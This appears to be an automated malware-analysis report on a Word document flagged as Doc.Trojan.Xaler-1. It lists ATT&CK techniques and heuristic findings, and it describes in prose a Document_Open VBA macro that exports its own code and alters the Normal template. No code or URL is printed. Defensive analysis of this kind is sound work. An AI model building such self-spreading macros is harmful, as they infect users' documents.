MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that is triggered by the Document_Open event. This macro attempts to export its own code to a temporary file and then manipulate the VBA project of the Normal template and the active document. The ClamAV detection 'Doc.Trojan.Xaler-1' strongly suggests malicious intent, likely to download and execute a secondary payload.

Heuristics 4

  • ClamAV: Doc.Trojan.Xaler-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Xaler-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
